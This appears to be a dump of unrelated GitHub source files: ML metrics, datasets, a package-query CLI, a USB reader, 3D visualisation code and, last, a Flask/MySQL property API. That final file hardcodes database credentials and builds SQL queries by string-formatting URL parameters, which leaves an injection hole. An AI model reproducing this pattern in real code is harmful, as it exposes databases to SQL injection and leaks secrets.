float:\n # Source: pytorch_toolbelt\n assert mode in {\"dice\", \"iou\"}\n\n # Make binary predictions\n if threshold is not None:\n y_pred = (y_pred > threshold).to(y_true.dtype)\n\n if ignore_index is not None:\n mask = (y_true != ignore_index).to(y_true.dtype)\n y_true = y_true * mask\n y_pred = y_pred * mask\n\n intersection = torch.sum(y_pred * y_true).item()\n cardinality = (torch.sum(y_pred) + torch.sum(y_true)).item()\n\n if mode == \"dice\":\n score = (2.0 * intersection) / (cardinality + eps)\n else:\n score = intersection / (cardinality - intersection + eps)\n\n has_targets = torch.sum(y_true) > 0\n has_predicted = torch.sum(y_pred) > 0\n\n if not has_targets:\n if nan_score_on_empty:\n score = np.nan\n else:\n score = float(not has_predicted)\n return score\n\n\ndef multiclass_dice_iou_score(\n y_pred: torch.Tensor,\n y_true: torch.Tensor,\n mode=\"dice\",\n threshold=None,\n eps=1e-7,\n nan_score_on_empty=False,\n classes_of_interest=None,\n ignore_index=None,\n):\n # Source: pytorch_toolbelt\n ious = []\n num_classes = y_pred.size(0)\n y_pred = y_pred.argmax(dim=0)\n\n if classes_of_interest is None:\n classes_of_interest = range(num_classes)\n\n for class_index in classes_of_interest:\n y_pred_i = (y_pred == class_index).float()\n y_true_i = (y_true == class_index).float()\n if ignore_index is not None:\n not_ignore_mask = (y_true != ignore_index).float()\n y_pred_i *= not_ignore_mask\n y_true_i *= not_ignore_mask\n\n iou = binary_dice_iou_score(\n y_pred=y_pred_i,\n y_true=y_true_i,\n mode=mode,\n nan_score_on_empty=nan_score_on_empty,\n threshold=threshold,\n eps=eps,\n )\n ious.append(iou)\n\n return ious\n\n\ndef multilabel_dice_iou_score(\n y_true: torch.Tensor,\n y_pred: torch.Tensor,\n mode=\"dice\",\n threshold=None,\n eps=1e-7,\n nan_score_on_empty=False,\n classes_of_interest=None,\n ignore_index=None,\n):\n # Source: pytorch_toolbelt\n ious = []\n num_classes = y_pred.size(0)\n\n if classes_of_interest is None:\n classes_of_interest = range(num_classes)\n\n for class_index in classes_of_interest:\n iou = binary_dice_iou_score(\n y_pred=y_pred[class_index],\n y_true=y_true[class_index],\n mode=mode,\n threshold=threshold,\n nan_score_on_empty=nan_score_on_empty,\n eps=eps,\n ignore_index=ignore_index,\n )\n ious.append(iou)\n\n return ious\n\n\nclass DiceMeter(Metric):\n def __init__(\n self,\n mode: str,\n metric=\"dice\",\n class_names=None,\n classes_of_interest=None,\n nan_score_on_empty=True,\n prefix: str = None,\n ignore_index=None,\n dist_sync_on_step=False,\n ):\n super().__init__(dist_sync_on_step=dist_sync_on_step)\n\n if mode not in {BINARY_MODE, MULTILABEL_MODE, MULTICLASS_MODE}:\n raise ValueError(\"Not supported mode\")\n\n if prefix is None:\n prefix = metric\n\n self.mode = mode\n self.prefix = prefix\n self.class_names = class_names\n self.classes_of_interest = classes_of_interest\n self.scores = []\n if self.mode == BINARY_MODE:\n self.score_fn = partial(\n binary_dice_iou_score,\n threshold=0.0,\n nan_score_on_empty=nan_score_on_empty,\n mode=metric,\n ignore_index=ignore_index,\n )\n\n if self.mode == MULTICLASS_MODE:\n self.score_fn = partial(\n multiclass_dice_iou_score,\n mode=metric,\n threshold=0.0,\n nan_score_on_empty=nan_score_on_empty,\n classes_of_interest=self.classes_of_interest,\n ignore_index=ignore_index,\n )\n\n if self.mode == MULTILABEL_MODE:\n self.score_fn = partial(\n multilabel_dice_iou_score,\n mode=metric,\n threshold=0.0,\n nan_score_on_empty=nan_score_on_empty,\n classes_of_interest=self.classes_of_interest,\n ignore_index=ignore_index,\n )\n\n def reset(self):\n self.scores = []\n\n @torch.no_grad()\n def update(self, preds: torch.Tensor, target: torch.Tensor):\n batch_size = target.size(0)\n score_per_image = []\n for image_index in range(batch_size):\n score_per_class = self.score_fn(\n y_pred=preds[image_index], y_true=target[image_index]\n )\n score_per_class = to_numpy(score_per_class).reshape(-1)\n score_per_image.append(score_per_class)\n self.scores.extend(score_per_image)\n\n def compute(self):\n computed_scores = {}\n scores = np.array(self.scores)\n mean_per_class = np.nanmean(scores, axis=1)\n mean_score = np.nanmean(mean_per_class, axis=0)\n computed_scores[self.prefix] = mean_score\n if self.mode in {MULTICLASS_MODE, MULTILABEL_MODE}:\n num_classes = scores.shape[1]\n class_names = self.class_names\n if class_names is None:\n class_names = [f\"class_{i}\" for i in range(num_classes)]\n\n scores_per_class = np.nanmean(scores, axis=0)\n for name, s_p_c in zip(class_names, scores_per_class):\n computed_scores[name + \"_\" + self.prefix] = float(s_p_c)\n return computed_scores\n","repo_name":"azkalot1/UW-Madison-GI-Tract-Image-Segmentation","sub_path":"gi_tract_seg/models/metrics/dice_meter.py","file_name":"dice_meter.py","file_ext":"py","file_size_in_byte":6645,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"40"} +{"seq_id":"40341551565","text":"import logging\n\nfrom flask import url_for, jsonify\nfrom flask_restplus import Api\n\nfrom auth.api.v1.user import api as api_user\n\nlogger = logging.getLogger(__name__)\n\n\nclass CustomAPI(Api):\n @property\n def specs_url(self):\n \"\"\"\n The Swagger specifications absolute url (ie. `swagger.json`) :rtype: str\n \"\"\"\n return url_for(self.endpoint(\"specs\"), _external=False)\n\n\napi = CustomAPI(version=\"1.0\", title=\"Authentication Service API\", description=\"\")\n\napi.add_namespace(api_user)\n\n\n@api.errorhandler\ndef default_error_handler(ex):\n logger.exception(ex)\n return jsonify({\"message\": \"An unhandled exception occurred\"})\n","repo_name":"TNO/self-healing-4-cyber-security","sub_path":"components/web-application/authentication-bastion/auth/api/v1/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"40"} +{"seq_id":"72221906681","text":"import os\nimport random\n\nfrom dataset.base_dataset import BaseDataset\nfrom PIL import Image\n\n\nclass UnpairedDataset(BaseDataset):\n \"\"\"Dataset of unpaired images from two domains.\n\n Args:\n data_dir (str): Directory containing 'train', 'val', and 'test' image folders.\n phase (str): One of 'train', 'val', or 'test'.\n shuffle_pairs (bool): Shuffle the pairs so that the image from domain B that appears\n with a given image from domain A is random.\n resize_shape (tuple or list): Side lengths for resizing images.\n crop_shape (tuple or list): Side lengths for cropping images.\n direction (str): One of 'ab' or 'ba'.\n \"\"\"\n def __init__(self, data_dir, phase, shuffle_pairs, resize_shape, crop_shape, direction='ab'):\n if phase not in ('train', 'val', 'test'):\n raise ValueError('Invalid phase: {}'.format(phase))\n if direction not in ('ab', 'ba'):\n raise ValueError('Invalid direction: {}'.format(direction))\n\n super(UnpairedDataset, self).__init__(data_dir, phase, resize_shape, crop_shape)\n self.a_dir = os.path.join(data_dir, phase + 'A')\n self.b_dir = os.path.join(data_dir, phase + 'B')\n self.a_paths = sorted(self.get_image_paths(self.a_dir))\n self.b_paths = sorted(self.get_image_paths(self.b_dir))\n if shuffle_pairs:\n random.shuffle(self.b_paths)\n self.reverse = (direction == 'ba')\n self.shuffle_pairs = shuffle_pairs\n self.transform_fn = self._get_transform_fn()\n\n def __getitem__(self, index):\n a_path = self.a_paths[index % len(self.a_paths)]\n b_path = self.b_paths[index % len(self.b_paths)]\n\n a_img = Image.open(a_path).convert('RGB')\n b_img = Image.open(b_path).convert('RGB')\n\n a_img = self.transform_fn(a_img)\n b_img = self.transform_fn(b_img)\n\n return {'src': b_img if self.reverse else a_img,\n 'src_path': b_path if self.reverse else a_path,\n 'tgt': a_img if self.reverse else b_img,\n 'tgt_path': a_path if self.reverse else b_path}\n\n def __len__(self):\n return max(len(self.a_paths), len(self.b_paths))\n","repo_name":"ermongroup/alignflow","sub_path":"dataset/unpaired_dataset.py","file_name":"unpaired_dataset.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"40"} +{"seq_id":"71547457080","text":"print(\"it's the guess game predict the number in less number of steps and you will be rewarded.\")\r\nrun = True\r\nwhile run == True:\r\n num = float(input(\"enter your guessed number :\"))\r\n if num in range(0,10):\r\n if num == 5:\r\n print(\"correct , you won tesla s1\")\r\n run = False\r\n elif num < 5:\r\n print(\"guess higher\")\r\n elif num > 5:\r\n print(\"guess lower\")\r\n else:\r\n print(\"be in range of 0 to 10\") ","repo_name":"tofik-007/Python","sub_path":"loops/guess_game.py","file_name":"guess_game.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"40"} +{"seq_id":"16100729609","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# @Time : 2019/11/18\n# @Author : xujun\n\"\"\"\n不同路径 II\n一个机器人位于一个 m x n 网格的左上角 （起始点在下图��标记为“Start” ）。\n\n机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角（在下图中标记为“Finish”）。\n\n现在考虑网格中有障碍物。那么从左上角到右下角将会有多少条不同的路径？\n\"\"\"\n\n\nclass Solution:\n def uniquePathsWithObstacles(self, obstacleGrid) -> int:\n m = len(obstacleGrid)\n n = len(obstacleGrid[0])\n if obstacleGrid[0][0] == 1:\n obstacleGrid[0][0] = 0\n else:\n obstacleGrid[0][0] = 1\n for i in range(1, n):\n if obstacleGrid[0][i - 1] == 1 and obstacleGrid[0][i] == 0:\n obstacleGrid[0][i] = 1\n else:\n obstacleGrid[0][i] = 0\n for j in range(1, m):\n if obstacleGrid[j - 1][0] == 1 and obstacleGrid[j][0] == 0:\n obstacleGrid[j][0] = 1\n else:\n obstacleGrid[j][0] = 0\n for i in range(1, m):\n for j in range(1, n):\n if obstacleGrid[i][j] == 0:\n obstacleGrid[i][j] = obstacleGrid[i - 1][j] + obstacleGrid[i][j - 1]\n else:\n obstacleGrid[i][j] = 0\n return obstacleGrid[-1][-1]\n\n","repo_name":"algorithm004-02/algorithm004-02","sub_path":"Week 05/id_472/最长公共子序列/LeetCode_63_472.py","file_name":"LeetCode_63_472.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"40"} +{"seq_id":"22988006638","text":"import random\r\nfrom Game_data import data\r\nvs = \"\"\"\r\n _ __ \r\n| | / /____\r\n| | / / ___/\r\n| |/ (__ ) \r\n|___/____(_)\r\n\r\n\r\n\"\"\"\r\n\r\n\r\ndef setter(data: list):#Selecting random data from List containing dictionary\r\n var={}\r\n var=random.choice(data)\r\n return var\r\n\r\ndef printa(var,A):#print function to print the details\r\n print(f'\"{A}\": Name-> {var[\"name\"]}, Description-> {var[\"description\"]},{var[\"country\"]}\\n\\n')\r\n\r\ndef swapa():#for each correct answer to change the data of var_A and var_B\r\n global var_a\r\n global var_b\r\n var_a=var_b\r\n var_b=setter(data)\r\n if var_a== var_b:\r\n var_b=setter(data)\r\n\r\ndef compare(var_a,var_b,user):#To compare two variables and return if they got right or wrong answer\r\n global score\r\n if var_a['follower_count']>var_b['follower_count']and user==\"a\":#comparing variable and answer\r\n print(\"you got it right dear\\n\")\r\n print(f\"number of followers {var_a['follower_count']}mn\")\r\n print(f\"number of followers {var_b['follower_count']}mn\")\r\n score+=1#increasing score\r\n swapa()#now bcz this will occur only if user is right we have to pass new values so we will use swap function\r\n print(f\"your score is {score}\\n\\n\")\r\n game()\r\n elif var_a['follower_count']\",\n help=_(\"query into given repository only\"),\n dest=\"inrepo\", default=None)\n tags_parser.add_argument(\"tags\", nargs='+',\n metavar=\"\",\n help=_(\"tag name\"))\n tags_parser.set_defaults(func=self._tags)\n\n needed_parser = subparsers.add_parser(\"needed\",\n help=_(\"show libraries (.so) required by matched packages\"))\n needed_parser.add_argument(\"--quiet\", \"-q\", action=\"store_true\",\n default=self._quiet,\n help=_('quiet output, for scripting purposes'))\n needed_parser.add_argument(\"inrepo\", action=\"store_const\",\n const=None)\n needed_parser.add_argument(\"packages\", nargs='+',\n metavar=\"\",\n help=_(\"package names\"))\n needed_parser.set_defaults(func=self._needed)\n\n required_parser = subparsers.add_parser(\n \"required\",\n help=_(\"show packages requiring the given library name\"))\n required_parser.add_argument(\n \"libraries\", nargs='+', metavar=\"\",\n help=_(\"library name (example: libdl.so.2)\"))\n required_parser.add_argument(\"--quiet\", \"-q\", action=\"store_true\",\n default=self._quiet,\n help=_('quiet output, for scripting purposes'))\n required_parser.add_argument(\"inrepo\", action=\"store_const\",\n const=None)\n required_parser.set_defaults(func=self._required)\n\n revdeps_parser = subparsers.add_parser(\"revdeps\",\n help=_(\"show reverse dependencies of packages\"))\n revdeps_parser.add_argument(\"--quiet\", \"-q\", action=\"store_true\",\n default=self._quiet,\n help=_('quiet output, for scripting purposes'))\n revdeps_parser.add_argument(\"--verbose\", \"-v\", action=\"store_true\",\n default=self._verbose,\n help=_('verbose output, show more info'))\n revdeps_parser.add_argument(\"--bdeps\", \"-b\", action=\"store_true\",\n default=False,\n help=_('include build dependencies'))\n revdeps_parser.add_argument(\"inrepo\", action=\"store_const\",\n const=None)\n revdeps_parser.add_argument(\"packages\", nargs='+',\n metavar=\"\",\n help=_(\"package names\"))\n revdeps_parser.set_defaults(func=self._revdeps)\n\n sets_parser = subparsers.add_parser(\"sets\",\n help=_(\"search through package sets\"))\n sets_parser.add_argument(\"--quiet\", \"-q\", action=\"store_true\",\n default=self._quiet,\n help=_('quiet output, for scripting purposes'))\n sets_parser.add_argument(\"--verbose\", \"-v\", action=\"store_true\",\n default=self._verbose,\n help=_('verbose output, show package sets content'))\n sets_parser.add_argument(\"--in\", metavar=\"\",\n help=_(\"query into given repository only\"),\n dest=\"inrepo\", default=None)\n sets_parser.add_argument(\"sets\", nargs='*',\n metavar=\"\",\n help=_(\"package set name\"))\n sets_parser.set_defaults(func=self._sets)\n\n desc_parser = subparsers.add_parser(\"desc\",\n help=_(\"search packages through their description\"))\n desc_parser.add_argument(\"--quiet\", \"-q\", action=\"store_true\",\n default=self._quiet,\n help=_('quiet output, for scripting purposes'))\n desc_parser.add_argument(\"--verbose\", \"-v\", action=\"store_true\",\n default=self._verbose,\n help=_('verbose output, show more information'))\n desc_parser.add_argument(\"--in\", metavar=\"\",\n help=_(\"query into given repository only\"),\n dest=\"inrepo\", default=None)\n desc_parser.add_argument(\"descriptions\", nargs='+',\n metavar=\"\",\n help=_(\"package description\"))\n desc_parser.set_defaults(func=self._desc)\n\n return parser\n\n INTRODUCTION = \"\"\"\\\nToolset containing all the Entropy Server built-in repository query\ntools.\n\"\"\"\n\n def man(self):\n \"\"\"\n Overridden from EitCommand.\n \"\"\"\n return self._man()\n\n def parse(self):\n \"\"\" Overridden from EitCommand \"\"\"\n parser = self._get_parser()\n try:\n nsargs = parser.parse_args(self._args)\n except IOError as err:\n sys.stderr.write(\"%s\\n\" % (err,))\n return parser.print_help, []\n\n # Python 3.3 bug #16308\n if not hasattr(nsargs, \"func\"):\n return parser.print_help, []\n\n self._repository_id = nsargs.inrepo\n self._quiet = nsargs.quiet\n self._verbose = getattr(nsargs, \"verbose\", self._verbose)\n self._nsargs = nsargs\n return self._call_shared, [nsargs.func, self._repository_id]\n\n def _tags(self, entropy_server):\n \"\"\"\n Eit query tags code.\n \"\"\"\n repository_ids = []\n if self._repository_id is None:\n repository_ids += entropy_server.repositories()\n else:\n repository_ids.append(self._repository_id)\n\n exit_st = 0\n for repository_id in repository_ids:\n repo = entropy_server.open_repository(repository_id)\n key_sorter = lambda x: repo.retrieveAtom(x[1])\n for tag in self._nsargs.tags:\n tagged_pkgs = repo.searchTaggedPackages(\n tag, atoms = True)\n results = sorted(tagged_pkgs, key = key_sorter)\n for atom, pkg_id in results:\n if self._quiet:\n entropy_server.output(atom,\n level=\"generic\")\n else:\n print_package_info(pkg_id, entropy_server,\n repo, quiet = False)\n\n if (not results) and (not self._quiet):\n entropy_server.output(\n \"%s: %s\" % (\n purple(_(\"Nothing found for\")),\n teal(tag)\n ),\n importance=1, level=\"warning\")\n if not results:\n exit_st = 1\n\n return exit_st\n\n def _needed(self, entropy_server):\n \"\"\"\n Eit query needed code.\n \"\"\"\n repository_ids = []\n if self._repository_id is None:\n repository_ids += entropy_server.repositories()\n else:\n repository_ids.append(self._repository_id)\n\n exit_st = 0\n for package in self._nsargs.packages:\n pkg_id, repo_id = entropy_server.atom_match(package)\n if pkg_id == -1:\n if not self._quiet:\n entropy_server.output(\n \"%s: %s\" % (\n purple(_(\"Not matched\")), teal(package)),\n level=\"warning\", importance=1)\n exit_st = 1\n continue\n repo = entropy_server.open_repository(repo_id)\n\n atom = repo.retrieveAtom(pkg_id)\n neededs = repo.retrieveNeededLibraries(pkg_id)\n for usr_path, usr_soname, soname, elfclass, rpath in neededs:\n out_str = \"%s:%s:%s:%s:%s\" % (\n usr_path, usr_soname, soname, elfclass, rpath)\n\n if self._quiet:\n entropy_server.output(out_str, level=\"generic\")\n else:\n entropy_server.output(\n darkred(const_convert_to_unicode(out_str)),\n header=blue(\" # \"))\n\n if not self._quiet:\n entropy_server.output(\n \"[%s] %s: %s %s\" % (\n purple(repo_id),\n darkgreen(atom),\n bold(str(len(neededs))),\n teal(_(\"libraries found\"))))\n\n return exit_st\n\n def _required(self, entropy_server):\n \"\"\"\n Eit query required code.\n \"\"\"\n repository_ids = []\n if self._repository_id is None:\n repository_ids += entropy_server.repositories()\n else:\n repository_ids.append(self._repository_id)\n\n exit_st = 0\n key_sorter = lambda x: entropy_server.open_repository(\n x[1]).retrieveAtom(x[0])\n for library in self._nsargs.libraries:\n\n pkg_matches = set()\n for repository_id in repository_ids:\n repo = entropy_server.open_repository(repository_id)\n package_ids = repo.searchNeeded(library, like=True)\n pkg_matches.update(\n [(x, repository_id) for x in package_ids])\n\n matches = sorted(pkg_matches, key=key_sorter)\n for package_id, repository_id in matches:\n repo = entropy_server.open_repository(repository_id)\n if self._quiet:\n atom = repo.retrieveAtom(package_id)\n entropy_server.output(atom, level=\"generic\")\n else:\n print_package_info(\n package_id, entropy_server,\n repo, quiet=False)\n\n if not matches and not self._quiet:\n entropy_server.output(\n \"%s: %s\" % (\n purple(_(\"Nothing found for\")),\n teal(library)\n ),\n importance=1,\n level=\"warning\")\n if not matches:\n exit_st = 1\n\n return exit_st\n\n def _revdeps(self, entropy_server):\n \"\"\"\n Eit query revdeps code.\n \"\"\"\n excluded_dep_types = None\n if not self._nsargs.bdeps:\n excluded_dep_types = [\n etpConst['dependency_type_ids']['bdepend_id']\n ]\n\n exit_st = 0\n for package in self._nsargs.packages:\n package_id, repository_id = entropy_server.atom_match(package)\n if package_id == -1:\n if not self._quiet:\n entropy_server.output(\n \"%s: %s\" % (\n purple(_(\"Not matched\")), teal(package)),\n level=\"warning\", importance=1)\n exit_st = 1\n continue\n repo = entropy_server.open_repository(repository_id)\n\n key_sorter = lambda x: repo.retrieveAtom(x)\n results = repo.retrieveReverseDependencies(package_id,\n exclude_deptypes = excluded_dep_types)\n for pkg_id in sorted(results, key = key_sorter):\n print_package_info(pkg_id, entropy_server, repo,\n installed_search = True, strict_output = self._quiet,\n extended = self._verbose, quiet = self._quiet)\n\n if not self._quiet:\n atom = repo.retrieveAtom(package_id)\n entropy_server.output(\n \"[%s] %s: %s %s\" % (\n purple(repository_id),\n darkgreen(atom),\n bold(str(len(results))),\n teal(_(\"revdep(s) found\"))))\n\n return exit_st\n\n def _sets(self, entropy_server):\n \"\"\"\n Eit query sets code.\n \"\"\"\n repository_ids = []\n if self._repository_id is None:\n repository_ids += entropy_server.repositories()\n else:\n repository_ids.append(self._repository_id)\n repository_ids = tuple(repository_ids)\n sets = entropy_server.Sets()\n\n match_num = 0\n if not self._nsargs.sets:\n self._nsargs.sets.append(\"*\")\n for item in self._nsargs.sets:\n results = sets.search(item, match_repo=repository_ids)\n key_sorter = lambda x: x[1]\n for repo, set_name, set_data in sorted(results,\n key=key_sorter):\n match_num += 1\n found = True\n if not self._quiet:\n entropy_server.output(\n \"%s%s\" % (brown(etpConst['packagesetprefix']),\n darkgreen(set_name),))\n if self._verbose:\n elements = sorted(set_data)\n for element in elements:\n entropy_server.output(\n teal(element),\n header=\" \")\n else:\n entropy_server.output(\n \"%s%s\" % (etpConst['packagesetprefix'],\n set_name,), level=\"generic\")\n if self._verbose:\n for element in sorted(set_data):\n entropy_server.output(\n element, level=\"generic\")\n\n if not self._quiet:\n entropy_server.output(\n \"[%s] %s %s\" % (\n darkgreen(item),\n bold(str(match_num)),\n teal(_(\"sets found\"))))\n\n return 0\n\n def _desc(self, entropy_server):\n \"\"\"\n Eit query desc code.\n \"\"\"\n repository_ids = []\n if self._repository_id is None:\n repository_ids += entropy_server.repositories()\n else:\n repository_ids.append(self._repository_id)\n\n for repository_id in repository_ids:\n repo = entropy_server.open_repository(repository_id)\n key_sorter = lambda x: repo.retrieveAtom(x)\n for desc in self._nsargs.descriptions:\n pkg_ids = repo.searchDescription(desc, just_id = True)\n for pkg_id in sorted(pkg_ids, key = key_sorter):\n if self._quiet:\n entropy_server.output(\n repo.retrieveAtom(pkg_id), level=\"generic\")\n else:\n print_package_info(pkg_id, entropy_server, repo,\n extended = self._verbose,\n strict_output = False,\n quiet = False)\n\n if not self._quiet:\n entropy_server.output(\n \"[%s] %s %s\" % (\n darkgreen(desc),\n bold(str(len(pkg_ids))),\n teal(_(\"packages found\"))))\n\n return 0\n\n\nEitCommandDescriptor.register(\n EitCommandDescriptor(\n EitQuery,\n EitQuery.NAME,\n _('miscellaneous package metadata queries'))\n )\n","repo_name":"Sabayon/entropy","sub_path":"server/eit/commands/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":16465,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"40"} +{"seq_id":"7611667959","text":"import setuptools\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"EAST-TEXT-DETECTOR\",\n version=\"1.0.0\",\n author=\"Nikhil kumarr\",\n author_email=\"thakurnik30.nt@gmail.com\",\n description=\"Demo_package\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/thakurnik/EAST-Text-Detector\",\n project_urls={\n \"Bug Tracker\": \"https://github.com/thakurnik/EAST-Text-Detector/issues\",\n },\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n package_dir={\"\": \"src\"},\n packages=setuptools.find_packages(where=\"src\"),\n python_requires=\">=3.6, <4\",\n install_requires=[\"numpy>=1.22\", \"opencv-contrib-python>=4.5\", \"tensorflow>=2.8\", \"imutils>=0.5.4\"],\n package_data={\"EAST\": [\"robert.jpg\", \"east_text_detection_320x320_integer_quant.tflite\"]},\n entry_points={\"console_scripts\": [\"demo = EAST.east_text_detection:main\"]},\n)\n","repo_name":"thakurnik/ML_Computer_Vision_Project_EAST","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"38417491473","text":"import usb.core \nimport usb.util \nimport time\nimport RPi.GPIO as GPIO\n\nUSB_IF = 0 # Interface \nUSB_TIMEOUT = 5 # Timeout in MS \nUSB_VENDOR = 0xffff # Vendor-ID: \nUSB_PRODUCT = 0x0035 # Product-ID \n\n# Find the HID device by vender/product ID\ndev = usb.core.find(idVendor=USB_VENDOR, idProduct=USB_PRODUCT) \n\n# Get and store the endpoint \nendpoint = dev[0][(0,0)][0]\n\nif dev.is_kernel_driver_active(USB_IF) is True: \n try:\n dev.detach_kernel_driver(USB_IF)\n except:\n sys.exit(\"Could not detatch kernel driver from interface({0}): {1}\".format(USB_IF, str(e)))\n\n# Claim the device \nusb.util.claim_interface(dev, USB_IF) \n\n# Configure the Raspberry Pi GPIO\nGPIO.setmode(GPIO.BOARD) \nGPIO.setup(11, GPIO.OUT) \n\nreceivedNumber = 0 \ncontrol = None\n\n# Read input\nwhile True:\n try: \n # Read a character from the device\n control = dev.read(endpoint.bEndpointAddress, endpoint.wMaxPacketSize, USB_TIMEOUT)\n print(control)\n except KeyboardInterrupt: \n GPIO.cleanup() \n except Exception as e: \n pass\n\n time.sleep(.01) # Let CTRL+C actually exit","repo_name":"pernjie/gramophone","sub_path":"test-reader.py","file_name":"test-reader.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"41482794893","text":"import open3d\nimport torch\nimport matplotlib\nimport numpy as np\n\nfrom . import common_utils, box_utils\n\n\nbox_colormap = {\n 'Car': (0, 1, 0),\n 'Pedestrian': (0, 1, 1),\n 'Cyclist': (1, 1, 0),\n} # RGB\n\n\ndef draw_scenes(points, gt_boxes=None, ref_boxes=None, ref_labels=None,\n point_colors=None, point_size=1.0, window_name='Open3D'):\n if isinstance(points, torch.Tensor):\n points = points.cpu().numpy()\n if isinstance(gt_boxes, torch.Tensor):\n gt_boxes = gt_boxes.cpu().numpy()\n if isinstance(ref_boxes, torch.Tensor):\n ref_boxes = ref_boxes.cpu().numpy()\n if isinstance(point_colors, torch.Tensor):\n point_colors = point_colors.cpu().numpy()\n\n vis = open3d.visualization.Visualizer()\n vis.create_window(window_name=window_name, width=1280, height=720)\n\n vis.get_render_option().point_size = point_size\n vis.get_render_option().background_color = np.asarray([0.4, 0.4, 0.4])\n\n pts = open3d.geometry.PointCloud()\n pts.points = open3d.utility.Vector3dVector(points[:, :3])\n\n vis.add_geometry(pts)\n if point_colors is not None:\n pts.colors = open3d.utility.Vector3dVector(point_colors)\n else:\n pts.colors = open3d.utility.Vector3dVector(np.ones((points.shape[0], 3)) * 0.9)\n\n if gt_boxes is not None:\n vis = draw_box(vis, gt_boxes, color=(1, 0, 0))\n if ref_boxes is not None:\n if ref_labels is not None:\n vis = draw_box(vis, ref_boxes, ref_labels)\n else:\n vis = draw_box(vis, ref_boxes, color=(0, 1, 0))\n\n vis.run()\n vis.destroy_window()\n\n\ndef draw_box(vis, boxes, labels=None, color=(1, 0, 0)):\n \"\"\"\n 7 -------- 4\n /| /|\n 6 -------- 5 .\n | | | |\n . 3 -------- 0\n |/ |/\n 2 -------- 1\n Args:\n boxes: [x, y, z, dx, dy, dz, heading], (x, y, z) is the box center\n labels: [name]\n\n Returns:\n \"\"\"\n for i in range(boxes.shape[0]):\n corners3d = box_utils.boxes_to_corners_3d(np.array([boxes[i]]))[0]\n edges = np.array([\n [0, 1], [1, 2], [2, 3], [3, 0],\n [4, 5], [5, 6], [6, 7], [7, 4],\n [0, 4], [1, 5], [2, 6], [3, 7],\n [0, 5], [1, 4], # heading\n ])\n line_set = open3d.geometry.LineSet()\n line_set.points = open3d.utility.Vector3dVector(corners3d)\n line_set.lines = open3d.Vector2iVector(edges)\n if labels is not None:\n line_set.paint_uniform_color(box_colormap[labels[i]])\n else:\n line_set.paint_uniform_color(color)\n vis.add_geometry(line_set)\n return vis\n","repo_name":"shangjie-li/pointpillars","sub_path":"utils/open3d_vis_utils.py","file_name":"open3d_vis_utils.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"40"} +{"seq_id":"1151057393","text":"from flask import Flask, jsonify,render_template, abort\nfrom flask_mysqldb import MySQL\n\napp = Flask(__name__)\n\n####### Variables de Conexion Mysql #######\n\napp.config['MYSQL_USER'] = \"pruebas\"\napp.config['MYSQL_PASSWORD'] = \"VGbt3Day5R\"\napp.config['MYSQL_HOST'] = \"3.130.126.210\"\napp.config['MYSQL_PORT'] = 3309\napp.config['MYSQL_DB'] = \"habi_db\"\n\nmysql = MySQL(app)\n\n####### Funcion que sólo lista todas las propiedades Disponibles con el estatus \"pre_venta\", \"en_venta\", \"vendido\" #######\n####### Se imprimen via REST en formato JSON entrando al directorio raiz #######\n\n@app.route('/', methods=['GET'])\ndef listar_propiedades_disponibles():\n try:\n cursor = mysql.connection.cursor()\n sql = \"SELECT status_history.status_id, \" \\\n \"status.name,\" \\\n \"property.address,\" \\\n \"property.city,\" \\\n \"property.price,\" \\\n \"property.description,\" \\\n \"property.year \" \\\n \"FROM status_history \" \\\n \"inner join status on status.id = status_history.status_id \" \\\n \"inner join property on status_history.property_id = property.id where name NOT LIKE ('comp%')\"\n cursor.execute(sql)\n datos = cursor.fetchall()\n propiedades=[]\n for fila in datos:\n propiedad={'Dirección':fila[2],'Ciudad':fila[3], 'Precio de Venta':fila[4], 'Descripcion':fila[5]}\n propiedades.append(propiedad)\n return jsonify({'Propiedades Disponibles':propiedades})\n\n except Exception as ex:\n return jsonify({'Error': \"No existen resultados que coincidan con esa busqueda\"})\n\n\n\n####### Esta funcion lista todas las propiedades disponibles con el filtro anterior y añade 3 parametros más #######\n####### los cuales corresponden a los filtros de ciudad, fecha de construccion y estado de venta en el que se encuentra el inmueble #######\n####### para obtener estos resusltados tendremos que pasar los parametros seguidos de '/' ej. http://127.0.0.1:5000/bogota/2000/pre_venta\n####### de existir algun error o no existir coincidencias con la busqueda se mostrara el mensaje de \"Error\"\n\n@app.route('///', methods=['GET'])\ndef listar_por_cuidad_fecha_estado(ciudad, fecha_construccion, estado):\n try:\n cursor = mysql.connection.cursor()\n sql = \"SELECT status_history.status_id, \" \\\n \"status.name,\" \\\n \"property.address,\" \\\n \"property.city,\" \\\n \"property.price,\" \\\n \"property.description,\" \\\n \"property.year \" \\\n \"FROM status_history \" \\\n \"inner join status on status.id = status_history.status_id \" \\\n \"inner join property on status_history.property_id = property.id where name NOT LIKE ('comp%') AND (city='{}') AND (year = '{}' AND (name = '{}'))\".format(ciudad, fecha_construccion, estado)\n cursor.execute(sql)\n datos = cursor.fetchall()\n propiedades = []\n for fila in datos:\n propiedad = {'Dirección': fila[2], 'Ciudad': fila[3], 'Precio 